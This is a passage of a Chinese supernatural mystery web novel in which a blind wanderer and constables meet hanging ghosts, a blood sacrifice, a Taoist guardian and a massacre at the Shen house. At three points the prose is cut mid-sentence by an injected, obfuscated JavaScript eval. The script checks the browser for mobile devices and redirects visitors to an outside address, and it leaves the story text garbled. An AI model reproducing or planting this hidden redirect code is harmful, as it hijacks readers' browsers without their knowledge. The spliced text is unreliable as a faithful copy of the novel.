“秦半两?”周雅人转向他,“秦币?” 陆秉疑惑:“这里怎么会有大秦时期的铜钱?” 黑子琢磨了一下,见陆秉从中又挖出来两枚:“秦朝……距今也该有上千年了吧。” 四个人全都围在一处研究那堆挖出来的尸骸和秦币,完全被忽略的秦三不知何时已经越挪越远,直到完全撤离光源照映之外,她在阴影中缓缓站起身,只是她刚迈出一步,就听见青衣客开口:“别乱跑。” 被发现了! 秦三拔足狂奔,反绑的双手紧握着一块从地上捡来的铁片,努力搓磨着麻绳,情急中不小心磨破了手指,紧绷的神经好似麻痹了知觉,让她并没感觉到疼痛,只呼呼喘着大气,边跑边割开了绑缚双手的麻绳。 终于她看到前方一缕银白的光辉,从低矮的洞口投射进来,秦三瞪着猩红的眼睛,直直朝着那束银光飞奔而去…… 10.吊死鬼 “干什么吃的,连个小丫头都看不住!” “不是啊头儿,我们这不挖地呢嘛,而且我们都绑着她……” “你绑的是她手又没绑她的腿,不知道先把人拴牢门上吗蠢货?!”陆秉边追边骂,差点要被这俩猪队友气出心梗来。 衙役自知办事不力,想给陆秉顺顺气降降火,喘着大气安抚说:“没事儿头儿,咱们四个大男人,还能让她个小姑娘跑了不成,一会儿抓到她我一定把她五花大绑!” 眼看秦三冲向死牢洞口,纤细的身体在月光中拼命似的狂奔,一拨人则前赴后继地追,踩着洒下的银辉…… 迎面起了一阵风,从不大的洞口灌进来,掀到他们脸上,挟着潮润的寒气,和一声凄婉的低吟:“我是冤枉的——” 那声低吟悠远极了,像隔着山,隔着海,隔着两个不同的时空,嘈杂的喊冤声潮水般涌过来: “我是被冤枉的——” “冤枉啊——” “我冤啊——” 明明喊得撕心裂肺,可传入耳中时却只剩下一点残留的余音,不高亢也不尖锐。 而那股潮润的寒气卷进周雅人怀中,灌进别在他腰间的律管里,响了个低沉短促的轻音。周雅人脚步蓦地一顿,然后望见长长的窄道尽头,轻如薄纱的银色月华中,隐约显出一扇蛰伏着虎兽的门——狴犴门。 “陆秉!” 他几乎脱口而出,但是陆秉带着两个手下已经猛冲了进去。 周雅人腰间的白玉坠子晃动不停,律管断断续续又响起第二个音节,有些喑哑,融在风里几不可闻,但以他的耳力却能听得格外清晰。 “南风。”他听风知律,闻音则心头一沉,“死声。” 周雅人毫不迟疑冲出死牢,隐于月华中的狴犴门却仿若一道幻影,倏忽消散了。他猛地一怔,耳边响起几人杂乱追逐的脚步声,他恍惚有些分不清现状似的,又喊了一声:“陆秉。” 已经跑到几丈外的人答应他:“欸!雅人你不用跟着,等我去抓那丫头……不是,这死丫头跑哪儿去了,怎么窜得比兔子还快?!” 挂在周雅人腰间的律管苟延残喘似的又响起一个音节,像哑巴努力学人说话时发出的第一声,周雅人追上去,急声道:“陆秉,你们别乱跑,很危险,我腰间的律管响了,是南风,有死声,会出人命,快到……” 黑子高喊一嗓子:“她在这儿!” 陆秉前冲的步子蓦地刹住,掉头赶往黑子所在的前堂衙院。 秦三蓬头垢面地立在原地,即便衙役发现了自己,她也没打算逃跑,而是浑身僵立着一动不动,双目直愣愣瞪着前方——公堂的横梁上赫然吊着几个人。 他们的脖子挂在白绫上,身板直挺挺垂在空中,了无生气的挂满一整排。 “我让你跑!跑啊……”黑子趾高气昂的声气儿陡然戛然而止。 依次赶来的几人也全都杵在了当场,个个站得跟木桩子一样,惊惧地瞪着那一排挂在讼堂横梁上的尸身。在银月映照下,几乎能看清那些人身着官服,其中一个穿着知县的袍子,另外几个,则穿的跟陆秉和俩衙役如出一辙。 他们头皮都炸了,脑子里立刻回想起十二年前,知县和一众衙役在公堂上悬梁自尽的一幕。这一幕陡然出现在眼前,就好像他们一直挂在这里,一直挂了十二年。 “冤枉……”一个微弱的声音呢喃般响起,“……冤枉……” 公堂中央跪伏着一个女人,头低低垂下,弓着背脊,做出一个磕头叩首的动作。 是她在喊冤,跪对着大梁上一排吊死鬼,喊得气若游丝,仿佛马上就要断气。 “谁?”陆秉开口想问,结果嘴巴张开,却没能发出声音来。 她是在跪拜吊死鬼么? 有什么冤屈不去县衙递状纸,却跑来这鬼衙门对一排吊死的知府官差跪拜喊冤? 许是这一幕实在太过惊悚,比死牢里满地骸骨还要刺激,陆秉不仅发不出声,甚至吓得无法动弹,身体仿佛被人点住了穴位,一下子失去了行动能力。 那女人头磕在地上,自始至终都没直起来,而她的身下蓄了一摊血水,缓慢扩散开,染红了她身穿的裙裾。 周雅人嗅着浓浓的腥风,极度不适的微微屏息了片刻。 猩红的热血浸洗着地上的符纹,覆盖住一小片的同时又朝四周延伸,蜿蜒流淌间,血水又在原本的符纹上添写出新的一撇一捺、一横一竖,一点点延展开去,甚至越扩散越大,冥冥之中仿佛有人在执笔,企图篡改地上那副用以镇压的符箓。 所有人吓得原地不动的瞬间,周雅人已经走上前,踩住了其中一条蜿蜒的血注。 鲜血染红了鞋尖,而他蹙起长眉,视线越过跪伏在地的女人,“看见”女人头顶膜拜的地方摆着一面盛了血的铜镜。 冷月清晖下,这面铜镜泛着血光,血光中又映照着一众悬梁自尽的吊死鬼。 女人双手死死扣着铜镜的边沿,鲜血从她豁开的腕脉间淌入铜镜,再从铜镜中满溢出来。 腥风撞进周雅人怀中,再次吹响他腰间律管,奏出悠扬凄婉的乐声。 他躬下腰,伸手搭在女人肩头时,铜镜中的血光陡然一闪,周雅人面色一凛,身体迅速后撤。 然而他刚退半步,身后突然传来一股推背感,好似劲风重重搡了他一把,令他整个人身形不稳的前倾。 而他的身前,血光如血刃般削向面门,周雅人脚下急转,堪堪避开那道锋芒,血色的光刃切断了他耳边一缕飞扬的青丝。 慌措间不经意触到伏地叩首的女人,她便了无生气地倒下去,手中仍旧死死捧握着那面铜镜,奉若神明般,以死为祭。 她在祭什么? 在祭谁? 周雅人只是一个闪念,因为此刻根本容不得他细想,地上被鲜血篡改的符阵虚晃了一下,某笔带着弯钩的符纹血刃便在腥风中乍然而起,直逼周雅人小腹。 他脚下一旋避开,还是被锋利的钩子钩破了一点袖管。 接着第二根第三根符纹接踵杀来,周雅人在一道道血光中辗转腾挪,腰肢后折压出一道崩到极致的弯弓,又在刃削颈侧的瞬间翻身偏过头。 陆秉这才从惊恐中抽出神智,提刀就要上前:“雅人……” “别过来!”周雅人厉声喝止,“快退开!” 血刃千丝万缕般开始让他应接不暇…… 陆秉看得胆战心惊:“到底怎么回事?!雅……” 黑子突然哆哆嗦嗦开了口:“有……有……有……鬼……” 另一个衙役瞪大眼睛,同样牙齿打颤地开口:“鬼……鬼……鬼……” 他们死死瞪着倒在血泊中的女人,而她凉透了的尸身之上,竟逐渐凝聚出一个人形。 这人形像一团透明的薄雾,更像一缕稀薄的亡魂,逐渐在虚空中凝出一张模糊不清的轮廓来。 她身披白衣,长发如瀑般垂在血泊里,不,她就像是从这摊血里长出来的阴魂,白惨惨,阴森森。 让人想起纸扎铺里的纸扎人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14263073|151270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她的面皮同纸一样惨白,手里倒携着一把未撑开的黑伞,那双深黑的眼仁在虚空中游移了须臾,最后跟在场中的黑子对视了一下。 莫名其妙被“鬼”注视了的黑子两股战战,嗷一嗓子叫出来:“鬼啊……”然后以他平生从未有过的速度,箭一般发射了出去。 “鬼啊。”另一名衙役同样哀嚎一声,飓风般卷没了影。 整座鬼衙门只留下几句惊天动地的嚎叫。 “有鬼啊——” “救命啊——” “闹鬼啦——” 秦三则翻着白眼吓晕了过去。 陆秉也想跑,但是他现在腿软,支撑着不倒地已经是他的极限了。 周雅人看到了她,并看得一清二楚,心下大震,疾言厉色问:“什么东西?” “东西?”那白惨惨阴森森的“人”开口,声音也好像从坟地里渗出来的一样阴冷,唇齿间透着一股霜雪般的寒气,“我么?” 听得周雅人莫名惊悸,他惶然退后一步,然而眨眼间,或者比眨眼还快,因为他根本没眨眼,那冷霜一般的女子就凭空消失,猝不及防伏在了他的背后,贴近耳侧,吐出一口寒霜气,“真是无礼。” 周雅人头皮一麻,那只耳朵好似覆了层冰霜,他方一出手,那东西又神出鬼没般闪现在了她原来的位置。 周雅人迅速扫了一眼血阵,血阵中倒映出献祭者的脸,模样跟这个身披白衣突然现身的女子完全不同,所以这两个压根儿不是同一人。 周雅人面色冷肃:“你到底是谁?为何会在此?” “为何?”她神出鬼没般闪现在各个角落,范围却只限在这间衙院的符阵之内,掀起阵阵阴风,奏响了他腰间的律管,她在凄婉的音律中幽幽开口,拖着语调“嗯——”了一声。 与此同时,周雅人觑准时机,手里捏了个决,竹杖朝着那道穿梭法阵的虚影猛钉过去。 一击必中! 周雅人听到对方最后拖着语调吐出两个字:“报丧——” “什……”周雅人瞠目,那虚影倏忽散成一团白雾,化作阴风,从他的身上扑过去。 一股寒意顺着脊背往上爬,耳边只余下一句“报丧”,逐渐平息在律管的余音中。 与此同时,那倒地身亡的女人双手一松,铜镜磕到地板上,泼出一汪蓄积的鲜血,慢慢渗进石缝中。 周雅人僵立着,身体绷得很紧,直到筋骨都有些发酸,阴风渐渐止息,腰间的律管也沉静下去,才断定刚才那个女人确实已经消失无影了。 “不……不见了……”陆秉颤着音,许久才吐出几个字来。 那阴魂儿一样的女鬼不见了,悬梁的一排吊死鬼也消失了,陆秉终于再也支撑不住,双膝一弯,脆生生跪了下去。 周雅人走向那面被血洗过的铜镜时,听到这啪的一跪,蓦地驻足侧首,关心道:“陆秉,没受伤吧?” “……没……”好半天,陆秉才艰难地挤出声音,“我就是……腿软……” 腿太软了,他站不起来了。 以前听些妖魔鬼怪的传闻是一回事,这次亲眼所见就是另一回事了。 陆秉软得连牙关都咬不紧,太他娘的吓人了,他真的快要吓死了。 周雅人停在女人的尸身前,垂着眸低喃了一句:“是你招来的么?”以命为祭招来的那东西。 尸体当然不可能开口回答他,周雅人蹲下身,拾起地上那面祭过血的铜镜,触手之际,他分辨出这是一件——冥器,给死人殉葬的器物。 11.阴司例 “见鬼了见鬼了。” 俩衙役疯了一般冲出去后,不敢回家也不敢回衙门,感觉那只鬼就一直阴魂不散地跟在他们屁股后面追似的,怎么甩都甩不掉。 大半夜的他俩直接冲进客栈,嚷嚷着“道长救命”,狠狠撞开其中一间客房,风风火火扑到床上,把睡在被窝里的人一把薅出来,一左一右抱紧了其胳膊。 道长衣衫不整地被俩衙役架在床边,俩胳膊死死被他们搂在怀里,几乎挣脱不得,都懵了:“你们,你们干什么?!” “有鬼啊啊啊啊啊……” “有鬼啊啊啊啊啊……” 俩衙役寻求庇护似的搂着他胳膊鬼嚎。 道长差点给他们吼聋了,也跟着喊出来:“不是,哪儿来的鬼?” “我们亲眼看见了,一个穿白衣服的女鬼,披头散发的……”黑子语无伦次地说,“那个女人死了,就变成了鬼,跟着我们跑……” “对对对,一直在追我们,追着我们来了,道长你快施法……” 道长看着两个发了疯癫病的衙役:“……” 发癫的衙役一个劲儿催促他施法,双手却架着道长的两只胳膊死死不放:“施法啊,你快施法啊,施法打她个魂飞魄散啊!” 道长:“你们先放开我。” “你快施法!” 道长:“别夹着我了!” “你快施法,快施法。” 道长火了:“那你们倒是放开我啊,你们这样架着我让我怎么施法!” 俩衙役吓疯了,压根儿松不开手,语无伦次道:“你念咒啊,你念大悲咒啊。” “赶紧念,快念啊!” 道长:“……”我念你大爷念!什么玩意儿就念大悲咒了!那是和尚!老子是道士!有没有常识! “你们松开我!”道长试图挣扎,四只手却紧得跟铁钳似的夹着他,“松开松开,松开我。” “不行,我们被鬼缠身了,一只女鬼。” 道长内心咆哮:老子才被鬼缠身了,大半夜被两只发了癫的男鬼缠身,甩都甩不脱。 “你俩这是要干啥呀?!”大半夜地跑来折腾他,道士被他们嚎得耳膜疼,伤脑筋地问,“你们今晚上哪儿去了?在哪儿见的鬼?” 问完,道士心头蓦地警惕起来,这两官差吓成这样,不会是又出人命了吧? 结果俩衙役齐刷刷脱口:“鬼衙门。” 道士一惊:“什么?不是说了不能进那里吗!” 然后他就听到这俩衙役颠三倒四的念叨,有个女人死了,变成只女鬼,县太爷和衙役全都上吊了,挂在公堂的大梁上,还有好多骸骨等等乱七八糟的阐述,说得争先恐后,没一句能连贯成句的。 道士却越听越心惊,赶忙打断:“快,快,快放手,让我过去看看,再不松开我就不客气啦。” 紧接着俩衙役痛呼一声,被道士毫不客气捅了肋条,旋即撒开了手。 道士重获自由,迅速挣开二人,披上外袍抓起佩剑就往外冲。 这道士是大半月前衙门派人去人祖山请下来协助查案的,虽然没查出个名堂来,却是城里他们所认识的唯一一个修道之人,更是目前唯一一个能驱邪降鬼的救命稻草,现在被他们当成人形驱邪符来用,只不过这是个行走的护身符,夺门就跑了,俩衙役不得不追上去寻求庇护。 结果绕一大圈,又追着道士绕回鬼衙门,俩衙役大惊失色,纷纷冲上去,再次架住了道士,拖着他不让进去。 “真的有鬼啊,就在这里面,有个披头散发的女鬼……” 道士一下子没防备,又被他们一左一右夹紧了:“不是,我进去看……” 黑子不容他说完,急声打断:“不能进去……” 道士没能甩开难缠的二人:“你们在外待着不用进去,松开让我去……” 衙役不依不饶:“不行,我们被那只女鬼缠住了,你不能走,你快帮我们驱……” 三人正拉拉扯扯间,突然鬼衙门的大门嘎吱一声,缓缓从里面打开,三人猛地静止不动了,六只眼睛齐刷刷、直勾勾盯死大门。 陆秉和周雅人抱着昏迷不醒的秦三出来的时候,就看见外头连体婴儿一样挤在一起的三个人,惧是一怔。 两边大眼瞪小眼了片刻之久,突然俩衙役齐刷刷爆出凄厉的一声嚎:“头儿——” 陆秉刚才那一吓还没缓过来,本来就腿软,连个小丫头都扛不动,所以这时候是周雅人抱着秦三出来。 结果刚出门口就遭遇俩下属一声哀嚎,陆秉那软趴趴的腿杆又差点磕门槛石上去,还好他身子一斜,把住了身边周雅人的肩,顺势倚到对方身上,才稳住自己没丢这个大脸。 “嚷什么嚷!”陆秉本来是想喝斥他们,但是声音有些虚弱绵软,实在没什么威慑力。 这俩下属刚才吓得屁滚尿流,蹿得比野马还快,还以为就这么吓跑了呢,没想到居然又折返回来,还搬来了救兵,简直出乎他意料。 陆秉瞧着架住道长的两位属下,心里很是感动:“你俩专门跑去客栈把方道长请来帮忙?!” 俩衙役脸上的表情瞬间凝固,嗓子眼儿就跟被鸡骨头哽住了似的,半天哽出一个“……嗯……”字。 方道长:“……”你俩真有脸嗯!你俩是请我过来帮忙的吗?你俩明明是拖着老子不让老子进去的!还不撒手! 但是看在陆秉眼中,就像他下属硬生生把方道长架过来的,再反观方道长那张脸,要多不情愿有多不情愿,甚至还有些气急败坏地挣扎道:“撒手撒手,你们撒开我!” 于是俩衙役缓缓放开了他,但还是紧紧贴着他。 方道长上前一步,他们也紧贴着上前一步。 方道长努力维持着修行之人那点岌岌可危的气度问:“陆捕头,到底发生什么事了?你们这是怎么回事?怎么会从这里面出来?这丫头怎么……” “这丫头大晚上提着菜刀冲进鬼衙门找凶手报仇,我们也是进去抓她出来,结果,”陆秉顿了一下,心有余悸道,“就遇到怪事情,这丫头直接吓晕过去了。” “什么怪事?” “说来话长,里面还有个刚断气的女人,正好你们进去把尸体抬出来。” 俩衙役吓得面无人色,一下子站不住脚跟,双双给陆秉跪下了,就像突然被老大一句话打断了腿,骨头硬生生对折下去,跪得特别齐整。 那鬼地方谁还敢进去啊,打死他们也不可能再进去。 方道长立在中间,左右两边突然扑通跪地,给他整得猝不及防。 陆秉也意识到这话不妥,经历方才那一遭,借他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14273293|151270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们一百个胆也不敢再进了,遂无力地摆摆手:“算了算了,等天亮以后再说吧,先把大门锁上。” “等等,让贫道进去看看。” 周雅人闻声开口:“这位道长要进去?” “我得进去看看里面的阵法有没有遭到破坏。” 周雅人追问:“里面的符阵是您布下的么?” 方道长摇头:“不是,贫道修为清浅,当年也只是刚拜入人祖山的一介道童,这阵法是太行道掌教所布,我只是受嘱托在此看顾这个阵法,避免出什么岔子。” 周雅人:“您在人祖山上修行?” “是。”方道长说话间一直与其对视,但发现对方的目光格外空洞涣散,心下有疑,却不好出言冒犯,停顿之际,又听对方开口: “您既是人祖山的道长,那我便直言了,太行道布下此阵,可是为了镇压那些埋葬在死牢地下的囚徒?” 方道长面色陡然一变:“这这这……你你你……你们……” 周雅人倒是沉着冷静:“我们方才不小心,在死牢里挖出一些戴着枷锁的尸骸,想必方道长知道此事?” 方道长不淡定了:“你们还干什么了?!” “倒也没干什么。” 方道长俨然不信,没干什么你们一个个会吓成这副样子。 那陆捕头虽然表面无恙,但是那张小脸儿可煞白煞白的,显然一副吓破胆的模样,更别提身边这俩跪着的。 那简直已经吓疯癫了,冲进他客房里好一顿抽风,还有对方怀里抱着的那个丫头,直接吓得人事不省。 几个人当中,就数面前这名青衣人保持着冷静,吐字清晰,一看就知深藏不露。 周雅人说:“但是有个女子在公堂上以命献祭,她的血可能篡改了太行道所布的符阵,漏了一缕阴煞气。” 方道长大惊,急步往大门去:“不好。” 周雅人横行一步,拦了对方去路:“道长。” 方道长急了:“你别挡我路。” 周雅人寸步不让,带了几分咄咄逼人的口吻:“道长,这里头拘的,都是冤死之人,北屈的衙署已经搬迁了,难道这所鬼衙门还要一直镇在这里吗?!” 一直镇着那些冤死之人。 方道长被对方冷肃的气势压了一下,这位是在为那些冤死者鸣不平? 方道长的神情凝重起来,严厉道:“阴司例,凡死于官署者,为衙神所拘,非墙屋倾颓,魂不得出。” 对峙间,周雅人很轻的皱了一下眉:“那么多人。” 方道长叹口气:“我知道,但是这地方没你想的那么简单。” 周雅人:“愿闻其详。” 详个屁,方道长张了张口,看对方一副洗耳恭听的架势,知道有些事即便遮遮掩掩,恐怕也瞒不过去,人家都差不多探到根儿上了,遂无奈道:“实不相瞒,此处曾是——秦之狱地。” 周雅人一愣,猛地想起方才在尸骨坑里挖出来的那枚秦币。 “你自己算算清楚,秦朝至今,里头的沉冤起码一千年了。”方道长直接挑明,根本用不着他详说,“这样已经是最稳妥的法子了。” 周雅人没再吭声,也没再拦方道长的路,任他独自进鬼衙门查看阵法。 半晌才在心里低嘲了句:稳妥么?! 12.报死伞 “咚——咚!咚!咚!咚!” “砰砰砰——” 更夫的铜锣与保和堂的大门同一时刻被敲响,陆秉听着那沿街的打更声持续敲响五下,才惊觉道:“都五更天了。” 这一夜真是无比漫长,长的他惶惶不安,遂又狠砸了几下门板。 “来了来了……谁啊这么一大清早……别砸啦……”掌柜着急忙慌爬起来打开门,看见门外站着几位官差时,不禁一愣,“陆、陆小爷,您、您这是?” 陆秉直接推门而入,指了指周雅人怀里的秦三:“这丫头刚才磕破了脑门儿,撞晕过去了,叫何郎中来给她瞧瞧。” 掌柜见她满脸干涸的血迹,脑门上鼓起一个乌青发紫的大包,当即心疼道:“哎哟,怎么撞得这么狠,快放这边,把她放榻上。” 周雅人轻轻将人平放在医堂的病榻上,陆秉顺势坐到旁边一张椅子上,俩衙役则挤在一张凳子上,恨不得连屁股都贴在一起,互相紧靠着。 陆秉盯了他们一眼,没说什么,见掌柜只叫来药徒给秦三看伤,遂问:“何郎中呢?” 掌柜回话:“三更天的时候被沈员外府上的人叫走了,到现在都没回来呢,不过陆小爷您放心,我们三阳打小就跟在何郎中身边学医,得何郎中言传身教,磕磕碰碰的伤势他保管能治。” 陆秉点点头:“行吧。” 几人围坐在病榻前,盯着药徒忙活儿。 药徒扒开秦三的眼皮检查一番,又给她把过脉,便转身去后院打了盆清水进来,小心拨开秦三凝结着血块的一缕缕头发,拧干布巾开始给她擦洗脸上的血污。 几人在鬼衙门又惊又吓的折腾一整宿,彻夜未眠,实在身心俱疲,此刻围坐在医堂中,闻着一股浓浓的中药味,仿佛安神似的,让他们绷到极致的神经逐渐松懈下来,眼皮子开始发沉。 周雅人转过身,跟掌柜低声询问了一句,掌柜便引他到后方院中,从水缸里舀出一瓢水倒进木盆里:“在这里清洗吧。” “多谢掌柜,我自己来就行,您忙去吧。” “那好,我去给陆小爷他们沏壶热茶,您先自便,有什么需要随时叫我。” “有劳。” 待掌柜走后,他才蹲下身,从袖中掏出那面浸过血的铜镜。 鲜血虽然已经擦拭过,但铜镜边沿及背面雕镂的纹路里依然残留着斑斑血迹,所以他一直都能闻到那股驱散不去的血腥味儿。 周雅人蹙着眉,将铜镜浸入水盆中,开始认真搓洗自己的双手,每一根指头甚至每一根指甲缝都仔仔细细搓揉过。 水温极其寒凉,把双手冻得发白,又被他搓洗到发红。 周雅人蹲在地上换了好几盆水,把双手和铜镜反复洗了不知多少遍,直到血腥味淡了,散了,终于闻不见了,他才觉得干净了。 端在手中,铜镜照出他清雅的面容,周雅人目不能视,指腹一寸寸抚过青铜纹,镜背雕一轮圆月,月中有一棵枝繁叶茂的树,翩然飞舞的曼妙女子,还有一只捣药的兔子和蟾蜍。 周雅人暗道:“月宫图?” 他的指腹细细摩挲铜镜上雕刻的女子,当然明白这月宫中住的是嫦娥,这是一个神话故事。只不过,他方才却在这汪血镜中看见了一个被囚困着的女子,就是那个身披白衣,满身怨煞如同鬼魅般现身的女子。 周雅人捏着铜镜,好似捏着一块寒冰,凝神“盯视”半晌,也没再“瞧”出任何端倪来。 待周雅人清理好回到医堂时,耳边是几人平稳的呼吸声,那掌柜小心翼翼走到他跟前儿,放低音量道:“陆小爷他们睡着啦。” 掌柜回头看他们几个风尘仆仆且满脸疲惫的样子,携着满身风霜,八成又通宵达旦的查案了。 城里最近闹出好几条人命,再有沈家大少爷不知所踪,陆秉一行人时常不分昼夜的办案,在大寒天里走街串巷的奔波。 偶尔保和堂忙到深夜,掌柜倒是给几位官差端过几杯暖胃的热茶。 掌柜热心道:“您要不也喝杯热茶,暂时在这边休息一下?” 周雅人点点头,问掌柜借来笔墨,摊开一张符文写下一句话,随后召来飞奴,送信致太行道一位小友。 周雅人饮过半盏热茶,驱了几分侵入脾胃的寒气,在医堂北角的躺椅上坐下,许是太过疲累,这一歇便入了梦境。 梦里水天一色,有朝霞,有明月,却没有人烟。 日夜颠倒着轮转,仿佛流逝过无尽的岁月。 而他形单影只,独行在岁月之中,走过漫漫长河。 周雅人心头一跳,垂下头,看见镜面似的水光,发现自己确实稳稳踏足在长河之上。 他脚下不停歇,却不知要行往何处,去向何方。 他似乎在找寻什么,但是脑中却一片空茫,他隐约忘了很多人和很多事,也忘了自己从哪来,又要到哪去。 梦里没有指引,直到一阵清风至身后拂来,携着一缕近乎虚幻的轻音,像叹息,风的叹息。 可他却在这声风的叹息中,感知到了异样的情愫,像极了某位故人的未尽之言,将诉未诉。 周雅人下意识绷紧背脊,明明一切都在无言中,他却好似能够从中理出些什么。 然而下一刻,足下的长河突然染成猩红的血色,如同一面庞大的血镜,鉴出他此刻仓皇失措的模样。 周雅人看见自己狼狈不堪,衣衫褴褛,身穿囚服,戴着枷锁,俨然一副阶下囚的模样。 他踉跄退步,脚上沉重无比的镣铐发出叮铃哐啷的响声,紧紧桎梏住他。 海潮般的惊恐席卷而来,他妄图挣脱桎梏,拼命想逃,镣铐却越扣越紧,猛地将他拽入红河。 血腥味充斥鼻腔,他奋力挣扎,却被越拖越深,要将他拖拽进不见天日的地狱深处般。 就在被绝望灭顶之际,他腰间的律管响了,周雅人猛地一把拽住那支律管,睁开眼,看见尽头站着一个倒携黑伞的白衣女子,耳边听到的——却是一曲死声。 他明明紧闭双唇,未曾张口,却恍惚听见自己在问:“那是什么?” 这一问好似从心底深处发出来,他不知道自己在问什么,也不明白自己为什么会这么问,但是对方却好似明白似的,回道:“报死伞。” “你为何会来?” “来报丧。” 乐音低沉喑哑,响得断断续续,夹杂着另一道隔在海潮外的声音:“公子……公子……醒醒……” 周雅人猝然睁开眼,从那个窒息的梦境中惊醒。 他睁着猩红的眼睛,一时间分不清虚实。 掌柜被他的样子惊了一下,很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14286427|151270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快温声道:“公子……您是被梦魇住了吧?” “什么?”周雅人听清掌柜的声音,才总算醒悟自己身在保和堂。 掌柜关心道:“我看您睡觉时手里一直抓着这面铜镜,手指都被边沿划伤了,还在流血呢。” 周雅人胡乱摸索了一下,摸到镜面上湿黏的液体,同时指尖传来轻微的刺疼感。 掌柜继续道:“还有你怀里揣的这是笛子吗,突然稀稀拉拉地响了,也没人吹啊,好生奇怪。” 周雅人霍然抬头:“响了吗?” 掌柜寻求认同似的,回头去看店里的药徒:“三阳,你刚听见响了吧?” 药徒正在百眼柜前抓药,闻言点点头:“听见了,声儿不大。”断断续续地响,刚开始他还觉得纳闷儿,四处盯了一圈,以为是什么老鼠或者夜猫钻进屋在叫,结果掌柜发现声音来自这位青衣客身上。 周雅人清晰记得自己在做梦,然后在梦里听见了死声…… 药徒话音刚落,保和堂的大门被猛地撞开,一个有些年迈的老人摔进屋,接着穿堂风直灌而入,寒意袭身的瞬间,周雅人腰间的律管再一次喑哑地响了半声…… “哎呀呀,何郎中,”掌柜大惊失色,赶紧跑去门口搀扶老人,“怎么了这是,没摔着哪里吧?” 何郎中刚刚那一撞一摔,惊醒了沉睡过去的三位官差,陆秉腾的一下就从椅子上站起来,看着地上一幕问:“怎么回事?” 何郎中满脸惊慌,趴地上一把抓住前来扶他的掌柜,张大嘴,急切地想要说什么,结果可能跑太快又憋太久,一时间竟导不上来气:“我……我……” 掌柜一下一下给他捋背:“别着急,您顺顺气儿。” 何郎中紧跟着急喘一气,结果这一下喘岔了气,佝偻着身子剧烈咳嗽起来,咳得满脸通红,一只手却死死抓住掌柜,抓得掌柜生疼。 何郎中急咳的间隙,从喉咙里挤出嘶哑的声音:“出……出……” 掌柜瞧他这番狼狈,连药箱都没背回来,就这么两手空空栽倒在门口,关切道:“出什么事了?你是不是半夜遇到劫道的了?药箱被抢了?哎呀人没事儿就好,别着急,陆小爷他们在咱保和堂呢,你喘匀了慢慢说。” 何郎中转头看向站在店里的三名捕快,眼珠子差点瞪出眼眶,竭尽全力说出一句连贯的话:“出人命了!” 陆秉面色一凛:“在哪里?” 与此同时,周雅人已经绕过何郎中冲出保和堂。 何郎中躺地上大咳:“沈……沈家……” 陆秉一刻不敢耽搁往外冲,看到周雅人所去的方向正好是沈家,他毫不迟疑追上去:“雅人。” 周雅人循着风迹一路疾行,远远便听见前方传来无数惊声尖叫,随着迎面的风旋在他耳际被放大数倍。 接二连三的惨叫扎入耳孔,刺得耳膜生疼,那惨叫声从凄厉逐渐奄奄一息,让他心底一阵阵发沉。 脑子里不断闪过方才的梦魇,那个倒携报死伞的女人站在血雾中,凉薄而无情的声音盘绕耳际:“报丧——” 刚才在鬼衙门出了人命,这一次同样也是吗? 眼前漆黑一片,他什么都看不见,兀自在不见天日的黑暗中急奔,耳边响起声声惨嚎,越来越近,然后闻到散在风里的血腥味,极其浓烈。 13.听风知 “救命——” “老爷——” “夫人——” “啊——” “来人啦——” “快跑啊——” “救命啊——” “爹……爹……” “娘……” 宅院里无数人慌不择路地逃窜,惨叫哀嚎声混乱不堪。 有人冲出大门,却被及膝高的门槛绊倒,狠狠扑在石板上摔了个鼻青脸肿,但他顾不上疼,也来不及起身站稳,惊慌的连滚带爬往前栽,脑门即将撞柱之际,被此刻赶到的青衣客托住了额头。 那只手非常凉,托稳他便瞬间撤走,仆人甚至没来得及反应,就见那人踏进了沈家大门。 满院的仆人跌跌撞撞,从周雅人身侧逃命似的冲过去,掀起一阵腥风。 地上横七竖八躺着好几具干瘪的尸体,血肉吸空了,只剩骨架和人皮,薄薄地摊在地上,被衣服盖住了。 在如此混乱嘈杂中,周雅人听见一阵窸窸窣窣的声音,掩在人体之中,嗜血啃肉。 他捕捉着那阵微乎其微的窸窣声急转几步,数丈开外一个老妇人猝然跪倒,瞪着充血的双目,她朝周雅人伸出手,仿佛想要呼救,可张大嘴却叫不出来,喉咙里只能发出咯吱咯吱的声音。 陆秉紧跟其后赶到现场,难以置信地看着沈宅内的场景,俩衙役大惊失色:“头儿!” 只一眼,他们就辨认出这些人的死状。 而周雅人正一步步走向那个跪地的老妇人,朝对方伸出手。 